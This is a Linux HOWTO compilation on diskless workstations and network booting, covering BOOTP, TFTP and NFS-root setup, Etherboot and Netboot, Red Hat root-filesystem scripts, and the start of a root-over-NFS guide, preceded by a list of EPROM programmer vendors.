  • Concentrated Programming Ltd - offers a full range of device programming solutions.
  • Dataman Programmmers Ltd. - manufacture of hand-help EPROM programmer/emulator. Also sell PC-based programmers, and Gang-Pro programmers.
  • General Device Instruments - IC Device programmers. Universal and Gang programmers for Pld, Flash, microcontrollers, Proms, EEproms, Memory, Epld, Mach and many other ic devices.
  • HI-LO System Research Co., Ltd. - manufacturer of universal and gang device programmers.
  • ICE Technology - EPROM and universal device programmers which support memories, microcontrollers, and programmable logic devices.
  • Iceprom - in-circuit erasable programmable read-only memory.
  • Incept Ltd.
  • International Microsystems Inc - High speed reliable gang programmer. (PROM, FLASH, Microcontroller, PCMCIA memory card).
  • JED Microprocessors Pty. Ltd. - plugs into a PC printer port D25 connector, and programs any 28-pin or 32-pin EPROM and FLASH device.
  • Logical Devices, Inc - device programming for PLDs, FPGAs, PROMs, microcontrollers. Producers of CUPL compiler for programmable logic and the ALLPRO and Chipmaster device programmer.
  • MCL Systems - new method not only for programming but also for developing your new hardware with Integrated Controller Unit. And you don't need to be an expert.
  • MQP Electronics - manufacturer of universal device programmers, gang programmers, production software, and package converters. High thoughput and reliability.
  • Needham's Electronics - manufacturer of device programmers.
  • NP Programming Services - provides programming for memory and logic parts.
  • Program Automation, Inc. - independent service company specializing in high volume PROM programming, including flash I/Cs.
  • Stag Programmers Inc - manufacturer of prom and logic programmers, production handling equipment and UV erasers.
  • Sunrise Electronics - universal device programmers, gang and in-circuit programmers with life time support.
  • System General Co. - Device Programmer, EPROM Writer and IC Tester
  • Tribal Microsystems - universal and gang device programmers, 8051 and EPROM emulators, test and burn-in sockets and production sockets.
  • Universal Device Programmers


Diskless Nodes HOW-TO document for Linux: Introduction to Network Booting and Etherboot

 Next Previous Contents

11. Introduction to Network Booting and Etherboot

This chapter is written by Ken Yap ken.yap@acm.org and explains how to bootstrap your computer from a program stored in non-volatile memory without accessing your hard disk. It is an ideal technique for maintaining and configuring a farm of linux boxes.

11.1 What is Network booting?

Network booting is an old idea. The central idea is that the computer has some bootstrap code in non-volatile memory, e.g. a ROM chip, that will allow it to contact a server and obtain system files over a network link.

11.2 How does it work

In order to boot over the network, the computer must get

  1. an identity
  2. an operating system image and
  3. usually, a working filesystem.

Consider a diskless computer (DC) that has a network boot ROM. It may be one of several identical DCs. How can we distinguish this computer from others? There is one piece of information that is unique to that computer (actually its network adapter) and that is its Ethernet address. Every Ethernet adapter in the world has an unique 48 bit Ethernet address because every Ethernet hardware manufacturer has been assigned blocks of addresses. By convention these addresses are written as hex digits with colons separating each group of two digits, for example - 00:60:08:C7:A3:D8 .

The protocols used for obtaining an IP address, given an Ethernet address, are called Boot Protocol (BOOTP) and Dynamic Host Configuration Protocol (DHCP). DHCP is an evolution of BOOTP. In our discussion, unless otherwise stated, anything that applies to BOOTP also applies to DHCP. (Actually it's a small lie that BOOTP and DHCP only translate Ethernet addresses. In their foresight, the designers made provision for BOOTP and DHCP to work with any kind of hardware address. But Ethernet is what most people will be using.)

An example of a BOOTP exchange goes like this:

DC: Hello, my hardware address is 00:60:08:C7:A3:D8, please give me my IP address.

BOOTP server: (Looks up address in database.) Your name is aldebaran, your IP address is 192.168.1.100, your server is 192.168.1.1, the file you are supposed to boot from is /tftpboot/vmlinux.nb (and a few other pieces of information).

You may wonder how the DC found the address of the BOOTP server in the first place. The answer is that it didn't. The BOOTP request was broadcast on the local network and any BOOTP server that can answer the request will.

After obtaining an IP address, the DC must download an operating system image and execute it. Another Internet protocol is used here, called Trivial File Transfer Protocol (TFTP). TFTP is like a cut-down version of FTP---there is no authentication, and it runs over User Datagram Protocol (UDP) instead of Transmission Control Protocol (TCP). UDP was chosen instead of TCP for simplicity. The implementation of UDP on the DC can be small so the code is easy to fit on a ROM. Because UDP is a block oriented, as opposed to a stream oriented, protocol, the transfer goes block by block, like this:

DC: Give me block 1 of /tftpboot/vmlinux.nb.
TFTP server: Here it is.
DC: Give me block 2.

and so on, until the whole file is transferred. Handshaking is a simply acknowledge each block scheme, and packet loss is handled by retransmit on timeout. When all blocks have been received, the network boot ROM hands control to the operating system image at the entry point.

Finally, in order to run an operating system, a root filesystem must be provided. The protocol used by Linux and other Unixes is normally Network File System (NFS), although other choices are possible. In this case the code does not have to reside in the ROM but can be part of the operating system we just downloaded. However the operating system must be capable of running with a root filesystem that is a NFS, instead of a real disk. Linux has the required configuration variables to build a version that can do so.

11.3 Netbooting in Practice

Net Loader is a small program that runs as a BIOS extension, usually on an EPROM on the NIC. It handles the BOOTP query and TFTP loading and then transfers control to the loaded image. It uses TCP/IP protocols but the loaded image doesn't have to be Linux. The loaded image can be anything, even DOS. They can also be loaded from a floppy for testing and for temporary setups.

Besides commercial boot ROMs, there are TWO sources for free packages for network booting. Free implementations of TCP/IP net loaders are -

  1. ETHERBOOT http://www.slug.org.au/etherboot/ and and at mirror-site and at google-site
  2. NETBOOT http://www.han.de/~gero/netboot.html

Etherboot uses built-in drivers while Netboot uses Packet drivers. First you have to ascertain that your network card is supported by Etherboot or Netboot. Eventually you have to find a person who is willing to put the code on an EPROM (Erasable Programmable Read Only Memory) for you but in the beginning you can do network booting from a floppy.

To create a boot floppy, a special boot block is provided in the distribution. This small 512 byte program loads the disk blocks following it on the floppy into memory and starts execution. Thus to make a boot floppy, one has only to concatenate the boot block with the Etherboot binary containing the driver for one's network card like this:

        # cat floppyload.bin 3c509.lzrom > /dev/fd0

Get the nfsboot package (the package is available from your favourite linux mirror site in the /pub/Linux/system/Linux-boot directory). It contains a booteprom image for the network cards (like wd8013) which can be directly burned in. See also the LTSP site at http://www.ltsp.org

Before you put in the network boot floppy, you have to set up three services on Linux -

  1. BOOTP (or DHCP)
  2. TFTP and
  3. NFS.

You don't have to set up all three at once, you can do them step by step, making sure each step works before going on to the next.

Bootp

Install Bootp. See bootp*.rpm on Redhat linux cdrom. See also LTSP site for RPM packages at http://www.ltsp.org. See also unix manual pages 'man 5 bootptab', 'man 8 bootpd', 'man 8 bootpef', 'man 8 bootptest'. You then have to ensure that this server is waiting for bootp requests. The daemon can be run either directly by issuing command

       bootpd -s

Or by using inetd edit the file /etc/inetd.conf and put a line like this:

        bootps dgram   udp     wait    root    /usr/sbin/in.bootpd    bootpd
Insert or uncomment the following two lines in /etc/services:
bootps          67/tcp          # BOOTP server
tftp            69/udp          # TFTP server

If you had to modify /etc/inetd.conf, then you need to restart inetd by sending the process a HUP signal.

       kill -HUP <process id of inetd>.

Next, you need to give bootp a database to map Ethernet addresses to IP addresses. This database is in /etc/bootptab. You must modify it by inserting the IP addresses of your gateway, dns server, and the ethernet address(es) of your diskless machine(s). It contains lines of the following form:

        aldebaran.foo.com:ha=006008C7A3D8:ip=192.168.1.100:bf=/tftpboot/vmlinuz.nb

Other information can be specified but we will start simple.

Another example of /etc/bootptab is :

  global.prof:\
          :sm=255.255.255.0:\
          :ds=192.168.1.5:\
          :gw=192.168.1.19:\
          :ht=ethernet:\
          :bf=linux:
  machine1:hd=/export/root/machine1:tc=global.prof:ha=0000c0863d7a:ip=192.168.1.140:
  machine2:hd=/export/root/machine2:tc=global.prof:ha=0800110244e1:ip=192.168.1.141:
  machine3:hd=/export/root/machine3:tc=global.prof:ha=0800110244de:ip=192.168.1.142:

global.prof is a general template for host entries, where

  • sm field contains the subnet mask
  • ds field contains the address of the Domain Name Server
  • gw field contains the default gateway address
  • ht field contains the lan media hardware type
  • bf field contains the name of the boot file

After this, every machine must have a line:

  • the first field contains the host name,
  • hd field contains the directory of the bootfile,
  • the global template can be included with the tc field,
  • ha field contains the hardvare address of the ethernet card,
  • ip field contains the assigned ip address.

Now boot the DC with the floppy and it should detect your Ethernet card and broadcast a BOOTP request. If all goes well, the server should respond to the DC with the information required. Since /tftpboot/vmlinux.nb doesn't exist yet, it will fail when it tries to load the file. Now you need to compile a special kernel, one that has the option for mounting the root filesystem from NFS turned on. You also need to enable the option to get the IP address of the kernel from the original BOOTP reply. You also need to compile the Linux driver for your network adapter into the kernel instead of loading it as a module. It is possible to download an initial ramdisk so that module loading works but this is something you can do later.

You cannot install the zImage resulting from the kernel compilation directly. It has to be turned into a tagged image. A tagged image is a normal kernel image with a special header that tells the network bootloader where the bytes go in memory and at what address to start the program. You use a program called mknbi-linux to create this tagged image. This utility can be found in the Etherboot distribution. After you have generated the image, put it in the /tftpboot directory under the name specified in /etc/bootptab. Make sure to make this file world readable because the tftp server does not have special privileges.

Tftp

For TFTP, see tftp*.rpm on Redhat Linux cdrom. TFTP (Trivial File Transfer Protocol) is a file transfer protocol, such as ftp, but it's much simpler to help coding it in EPROMs. TFTP can be used in two ways:

  • Simple tftp: means that the client can acces to your whole file system. It's simpler but it's a big security hole (anyone can get your password file via tftp).
  • Secure tftp: the tftp server uses a chroot.2 system call to change it's own root directory. Anything outside the new root directory will be completely inaccessible. Because of the chroot dir becomes the new root dir, the hd filed in the bootptab must reflect the new situation. For example: when using insecure tftp, the hd field contains the full path to the boot directory: /export/root/machine1. When using secure tftp whith /export as root dir, then /export becomes / and the hd field must be /root/machine1.

Tftpd is normally started up from inetd with a line like this in /etc/inetd.conf.

tftp dgram udp wait root /usr/sbin/tcpd in.tftpd -s /tftpboot
#tftp   dgram   udp     wait    root    /usr/sbin/in.tftpd     tftpd /export

Again, restart inetd with a HUP signal and you can retry the boot and this time it should download the kernel image and start it. You will find that the boot will continue until the point where it tries to mount a root filesystem. At this point you must configure and export NFS partitions to proceed.

NFS root filesystem

For various reasons, it's not a good idea to use the root filesystem of the server as the root filesystem of the DCs. One is simply that there are various configuration files there and the DC will get the wrong information that way. Another is security. It's dangerous to allow write access (and write access is needed for the root filesystem, for various reasons) to your server's root. However the good news is that a root filesystem for the DC is not very large, only about 30 MB and a lot of this can be shared between multiple DCs.

Ideally, to construct a root filesystem, you have to know what files your operating system distribution is expecting to see there. Critical to booting are device files, files in /sbin and /etc. You can bypass a lot of the hard work by making a copy of an existing root filesystem and modifying some files for the DC. In the Etherboot distribution, there is a tutorial and links to a couple of shell scripts that will create such a DC root filesystem from an existing server root filesystem. There are also troubleshooting tips in the Etherboot documentation as this is often the trickiest part of the setup.

The customised Linux kernel for the DC expects to see the root filesystem at /tftpboot/(IP address of the DC), for example: /tftpboot/192.168.1.100 in the case above. This can be changed when configuring the kernel, if desired.

Now create or edit /etc/exports (see 'man 5 exports' and 'man 8 exportfs') on the server and put in a line of the following form:

/tftpboot/192.168.1.100 aldebaran.foo.com(rw,no_root_squash)

The rw access is needed for various system services. The no_root_squash attribute prevents the NFS system from mapping root's ID to another one. If this is not specified, then various daemons and loggers will be unhappy.

Start or restart the NFS services (rpc.portmap and rpc.mountd) and retry the diskless boot. If you are successful, the kernel should be able to mount a root filesystem and boot all the way to a login prompt. Most likely, you will find several things misconfigured. Most Linux distributions are oriented towards disked operation and require a little modification to suit diskless booting. The most common failing is reliance on files under /usr during the boot process, which is normally imported from a server late in the boot process. Two possible solutions are -

  1. Provide the few required files under a small /usr directory on the root filesystem, which will then be overlaid when /usr is imported, and

  2. Modify the paths to look for the files in the root filesystem. The files to edit are under /tftpboot/192.168.1.100 (remember, this is the root directory of the DC).

You may wish to mount other directories from the server, such as /usr (which can be exported read-only).

Burn EPROM

When you are satisfied that you can boot over the network without any problems, you may wish to put the code on an EPROM.

11.4 Uses of Network booting

X-terminals are one natural use of network booting. The lack of a disk in the terminal makes it quieter and contributes to a pleasant working environment. The machine should ideally have 16MB of memory or more and the best video card you can find for it. This is an ideal use for a high-end 486 or low-end Pentium that has been obsoleted by hardware advances. Other people have used network booting for clusters of machines where the usage is light on the DC and does not warrant a disk, e.g. a cluster of classroom machines.

11.5 For more information

Your first stop should be the Etherboot home page: http://www.slug.org.au/etherboot/ and at mirror-site and at google-site

There you will find links to other resources, including a mailing list you can subscribe to, where problems and solutions are discussed.

Related documents

  • NFS-root Mini Howto at /usr/doc/HOWTO/mini or on Linux cdrom.
  • Linux Networking-HOWTO by Terry Dawson, at /usr/doc/HOWTO or on linux cdrom 94004531@postoffice.csu.edu.au
  • NET-3-Howto at /usr/doc/HOWTO or on Linux cdrom.
  • /usr/src/linux/README about configuring and compiling new kernels


Diskless Nodes HOW-TO document for Linux: Redhat Linux configuration

 Next Previous Contents

12. Redhat Linux configuration

The DC requests to mount /tftpboot/< IP address of DC > (in Linux Kernel 2.1 and above it is - /tftpboot/< name of DC in bootptab > ) as its root directory '/' by NFS from server. You must export this from the server (rw, no_root_squash) because the DC wants to write on it (log files, etc).

The root directory / must contain /sbin, /bin, /lib, /etc, /var, /tmp, /root, /dev and /proc.

/sbin, /bin, /lib can be a copy of an existing Redhat Linux system. They can be shared between all DCs. But hard links only. By the way, don't link to server originals.

/etc, /var and /dev should be non-sharable copies. Customise /etc/sysconfig/network, /etc/sysconfig/network-scripts/ifcfg-eth0, /etc/fstab, /etc/conf.modules, and others. Turn off all network services you don't need. Remove all stuff you don't need from /var, e.g. RPM db, lpd files.

/root and /proc should just exist. /tmp should exist and be mode 1777.

You probably want to create /usr and /home mount points. /usr can be mounted ro (read-only).

About 10 MB per DC plus about 15 MB of shared files should be sufficient. By the way, if your DCs are quite similar, the kernel image can also be shared.

Here is an illustrative script to create the first root filesystem.

#!/bin/sh
if [ $# != 1 ]
then
        echo Usage: $0 client-IP-addr
        exit 1
fi

cd /

umask 022

mkdir -p /tftpboot/$1

# just make these ones
for d in home mnt proc tmp usr
do
        mkdir /tftpboot/$1/$d
        done

        chmod 1777 /tftpboot/$1/tmp

        touch /tftpboot/$1/fastboot
        chattr +i /tftpboot/$1/fastboot

        # copy these ones
        cp -a bin lib sbin dev etc root var /tftpboot/$1

cat <<EOF
Now, in /tftpboot/$1/etc, edit

                sysconfig/network
                sysconfig/network-scripts/ifcfg-eth0
                fstab
                conf.modules

and configure

                rc.d/rc3.d
EOF

Here is an illustrative script to duplicate the root filesystem

#!/bin/sh
if [ $# != 2 ]
then
        echo Usage: $0 olddir newdir
        exit 1
fi

cd /tftpboot

if [ ! -d $1 ]
then
        echo $1 is not a directory
        exit 1
fi

umask 022

mkdir -p $2

# just make these ones
for d in home mnt proc tmp usr
do
        mkdir $2/$d
done

chmod 1777 $2/tmp

touch $2/fastboot
chattr +i $2/fastboot

# link these ones
for d in bin lib sbin
do
        (cd $1; find $d -print | cpio -pl ../$2)
done

# copy these ones
for d in dev etc root var
do
        cp -a $1/$d $2
done

cat <<EOF
Now, in /tftpboot/$2/etc, edit

        sysconfig/network
        sysconfig/network-scripts/ifcfg-eth0
        fstab (maybe)
        conf.modules (maybe)

and configure

        rc.d/rc3.d
EOF

12.1 X-terminal

On the server, make sure the DC is matched by a clause in /etc/X11/xdm/Xaccess and comment out the :0 in /etc/X11/xdm/Xservers. Then make sure that xdm is run from the init scripts.

On the client, run X -query server

You will get the xdm login box and then all your X clients will run on the server.

For other applications use - you could use diskless technique for netboot routers, print servers (but should not be spooling print server), standalone apps, etc.


Diskless Nodes HOW-TO document for Linux: LanWorks BootWare PROMs

 Next Previous Contents

13. LanWorks BootWare PROMs

This information may save you time. In order to make LanWorks BootWare(tm) PROMs to correctly start up a Linux kernel image, the "bootsector" part of the image must be modified so as to enable the boot prom to jump right into the image start address. The net-bootable image format created by netboot/etherboot's `mknbi-linux' tool differs and will not run if used with BootWare PROMs.

A modified bootsector together with a Makefile to create a BootWare-bootable image after kernel compilation can be found at -

  • Bwimage package ftp://ftp.ipp.mpg.de/pub/ipp/wls/linux/bwimage-0.1.tgz
  • See also http://www.patoche.org/LTT/net/00000096.html
  • LanWorks BootWare Boot ROMs http://www.3com.com/lanworks

Refer to the README file for installation details. Currently, only "zImage"-type kernels are supported. Unfortunately, kernel parameters are ignored.

This section courtesy of Jochen Kmietsch email to - jochen.kmietsch@tu-clausthal.de for any questions.


Diskless Nodes HOW-TO document for Linux: Etherboot

 Next Previous Contents

14. Etherboot

Etherboot is a package for creating ROM images that can download code over the network to be executed on an x86 computer. Typically the computer is diskless and the code is Linux, but these are not the only possibilities.

This document is at the Etherboot Home Page and at mirror-site and at google-site This document explains how to install, configure and use the Etherboot package.


Diskless Nodes HOW-TO document for Linux: Netboot

 Next Previous Contents

15. Netboot

Netboot was written by Zurück zu Gero. The main site is at http://www.han.de/~gero/netboot.html.

15.1 Introduction

The following list shows just a few examples of what Netboot can be used for:

  • Printer spooler
  • Terminal server
  • X11 terminal
  • Data logging system
  • Network-Computer (NC)
  • Some more ....

For the bootrom to find the kernel image it uses the BOOTP protocol as defined in RFCs and RFCs to get the necessary boot information, and then loads the actual image using the TFTP protocol as defined in RFCs .

The exact specifications for this netboot process can be found http://www.han.de/~gero/netboot/english/spec.html.

15.2 Mailing list

There exists a mailing list devoted to network booting. To subscribe simply send a mail with the line

subscribe netboot

in it's body to majordomo@baghira.han.de

The subject in the mail header doesn't matter. After subscribing to it, you can send messages into the list by writing a mail to netboot@baghira.han.de.

15.3 Netboot useful links

Netboot mailing list archive is at http://www.han.de/~gero/netboot/archive/maillist.html

  • 3com drivers at http://support.3com.com/infodeli/tools/nic
  • Accton drivers at here
  • Artisoft
  • CNET
  • Compaq
  • D-Link
  • Microdyne
  • Many NE2000 PCI cards are based on Realtek chipsets. Get drivers here
  • Standard Microsystems Corp
  • Surecom
  • Thomas Conrad corp
  • Winbond
  • Xircom

  • Webopaedia page on network cards
  • Jargon's driver page with many drivers for older network cards.
  • Etherboot and at mirror-site and at google-site This is a project similar to Netbot but based on the BSD bootrom code.
  • How to make an X Window Terminal out of your old or outdated PC.
  • List of jumper settings for various network cards. This page also contains many other good links.
  • Freefire is the home page of the Freefire project, which lists many resources for network security issues.


Diskless Nodes HOW-TO document for Linux: Related URLs

 Next Previous Contents

16. Related URLs

  • See 'Diskless-root-NFS-HOWTO' at http://metalab.unc.edu/LDP/HOWTO/Diskless-root-NFS-HOWTO.html
  • Linux goodies main site is at http://www.milkywaygalaxy.freeservers.com Mirror sites are at - http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


Diskless Nodes HOW-TO document for Linux: Copyright Notice

 Next Previous Contents

17. Copyright Notice

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


Diskless Nodes HOW-TO document for Linux: Other Formats of this Document

 Next Previous Contents

18. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

18.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

18.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

18.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

18.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


Diskless Nodes HOW-TO document for Linux: Topics for Academics and Universities

 Next Previous Contents

19. Topics for Academics and Universities

This section is for academic interest only - for universities or research institutes. If you have plenty of time then you can read it. These links are to RFCs and to the history of diskless nodes. Students will find these links interesting to read the history of development of diskless workstations.

Word of Caution: The information and data given by these URLs may be old.

  • Install Instructions at http://www.milkywaygalaxy.freeservers.com and click on rfc-install.html.

  • Troubleshoot Problems http://www.milkywaygalaxy.freeservers.com and click on RFC-951.html.

  • RFC 951 http://www.milkywaygalaxy.freeservers.com click on RFC-1350.html

  • RFC 1533 http://www.milkywaygalaxy.freeservers.com click on RFC-1533.html

  • RFC 1350 http://www.milkywaygalaxy.freeservers.com click on Troubleshoot.html


Root over nfs clients & server Howto.

Hans de Goede hans@highrise.nl

v1.0 30 March 1999

Howto setup a server and configure clients for diskless operation from a network.

1. Introduction

  • 1.1 Copyright
  • 1.2 Changelog

2. Basic principle

  • 2.1 Things can't be that simple

3. Preparing the server

  • 3.1 Building a kernel
  • 3.2 Creating and populating /tftpboot, making symlinks for /tmp etc.
  • 3.3 Exporting the appropriate file systems and setting up bootp

4. Adding workstations

  • 4.1 Creating a boot disk or bootrom
  • 4.2 Creating a ws dir
  • 4.3 Add entries to /etc/bootptab and /etc/hosts
  • 4.4 Booting the ws for the first time
  • 4.5 Set the ws specific configuration.

5. Added bonus: booting from cdrom

  • 5.1 Basic Principle
  • 5.2 Creating a test setup.
  • 5.3 Creating the cd
  • 5.4 Boot the cd and test it

6. Thanks

7. Comments


Root over nfs clients & server Howto. : Introduction

 Next Previous Contents

1. Introduction

This howto is also available at - http://xmame.retrogames.com/hans. This document describes a setup for nfs over root. This document differs from the other root over nfs howto's in 2 ways:

  1. It describes both the server and the client side offering a complete solution, it doesn't desribe the generic principles off root over nfs although they will become clear. Instead it offers a working setup for root over nfs. One of the many possible setup's I might add.
  2. This solution is unique in that it shares the root of the server with the workstations (ws). Instead of having a mini-root per ws. This has a number of advantages:
    • low diskspace usage
    • any changes on the serverside are also automagicly made at the client side, all configuration has only to be done once!
    • Very easy adding of new clients
    • only one system to maintain

This document is heavily based on a RedHat-5.2 system. Quite a bit of prior linux sysadmin experience is assumed in this howto, if you have that it shouldn't be a problem to addept this solutions to other distributions.

1.1 Copyright

Well here's the standard howto legal stuff:

This manual may be reproduced and distributed in whole or in part, without fee, subject to the following conditions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies.
  • Any translation or derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given.

Exceptions to these rules may be granted for academic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators.

1.2 Changelog

  • v0.1, 20 January 1999: First draft written at the HHS, where the setup was originally developed.
  • v1.0, 30 March 1999: First released version partially written in time of ISM


Root over nfs clients & server Howto. : Basic principle

 Next Previous Contents

2. Basic principle

As already said with this setup the clients share basicly the entire root-fs with the server. But the clients ofcourse only get read access to it. This is basicly how things work.

2.1 Things can't be that simple

Unfortunatly things aren't that simple, there are a couple of problems the overcome with this simple setup.

Each ws needs its own writable copy of a number of dirs

A normal linux setup needs to have write access to the following dirs:

  1. /dev
  2. /var
  3. /tmp

There are 3 solutions for this, of which one will only work for /dev:

  1. mount a ramdisk and populate it by untarring a tarball, or by copying a template dir.
    • Advantages:
      1. It's cleaned up every reboot, which removes tmp files and logs. Thus it needs no maintaince unlike server sided dirs.
      2. It doesn't take up any space on the server, and that it doesn't generate any network traffic. A ramdisk takes less server and network resources, and is faster.
    • Disadvantages:
      1. It takes memory.
      2. The logs aren't kept after a reboot, if you really want logging of all your clients tell syslog to redirect the logging to your server.
  2. create a dir for each ws on the server and mount it rw over nfs.
    • Advantages & disadvantages:
      1. The above arguments work in reverse for serversided dirs.
  3. With kernel 2.2 devfs can be used for /dev, this is a virtual filesystem ala /proc for /dev.
    • Advantages:
      1. Devfs takes very little memory when compared to a ramdisk / no diskspace on the server and is very fast. A normal /dev takes at least 1.5 mb since the minimal size for a file (and thus for a device) is 1k, and there are somewhere around 1200 devices. You can offcourse use a template of a stripped /dev with only the entries you need to save some space. 1.5 Mb is a lott for a ramdisk and also isn't nice on a server.
      2. Devfs automagicly creates entries for newly added & detected devices, so no maintainance is needed.
    • Disadvantages:
      1. Any changes to /dev like creating symlinks for the mouse and cdrom are lost. Devfs comes with a script called rc.devfs to save these chances. The script's provided in this howto will automagicly restore these symlinks settings by calling rc.devfs If you make any changes to /dev you need to call the rc.devfs yourself to save them by typing:
      /etc/rc.d/rc.devfs save /etc/sysconfig

As you can see, there are a number of ways to solve this problem. For the rest of this Howto the following choices are assumed:

  • For /dev we'll use Devfs
  • For /var and /tmp we'll use a shared ramdisk of 1mb. It's shared to use the space as effeciently as possible. /tmp is replaced by a symlink to /var/tmp to make the sharing possible.
  • Populating the ramdisk with tarballs or template dirs, works equally well. But with template dirs it's much easier to make changes, thus we'll use template dirs.

Write access to /home might be needed

Not really a problem in every unix client/server setup /home is mounted rw from the server so we'll just do that ;)

How does a ws find out it's ip so that it can communicate with the server?

Luckily for us, this problem has already been solved and the linux kernel has support for 2 ways of autoconfiguration of the ip-address:

  1. RARP
  2. Bootp

Rarp is the easiest to setup, bootp is the most flexible. Since most bootroms only support bootp that's what we'll use.

What about ws sepecific configuration

On redhat most system dependent config files are already in /etc/sysconfig We'll just move those which aren't there and add symlinks. Then we mount a seperate /etc/sysconfig on a per ws basis. This is really the only distribution dependent part on other distributions you can just create a sysconfig dir, move all config files which can't be shared there and create symlinks. Also /etc/rc.d/rc3.d, or symilar on other dists, might need to be different for the server resp the workstations. Assuming that all ws run the same services in runlevel 3, we'll just create a seperate 3th runlevel for the workstations and the server:

  1. Create both a /etc/rc.d/rc3.ws and a /etc/rc.d/rc3.server
  2. make /etc/rc.d/rc3.d a symlink to /etc/sysconfig/rc3.d
  3. make /etc/sysconfig/rc3.d a symlink to the apropiate /etc/rc.d/rc3.xxx
  4. replace S99local in rc3.ws by a link to /etc/sysconfig/rc.local so that each ws can have it's own rc.local

Miscelancious problems

There are a few problems left:

  1. /etc/rc.d/rc.sysinit needs /var, so /var needs to be mounted or created before /etc/rc.d/rc.sysinit is run. It would also be nice if the ws-specific /etc/sysconfig is mounted before any initscripts are run.
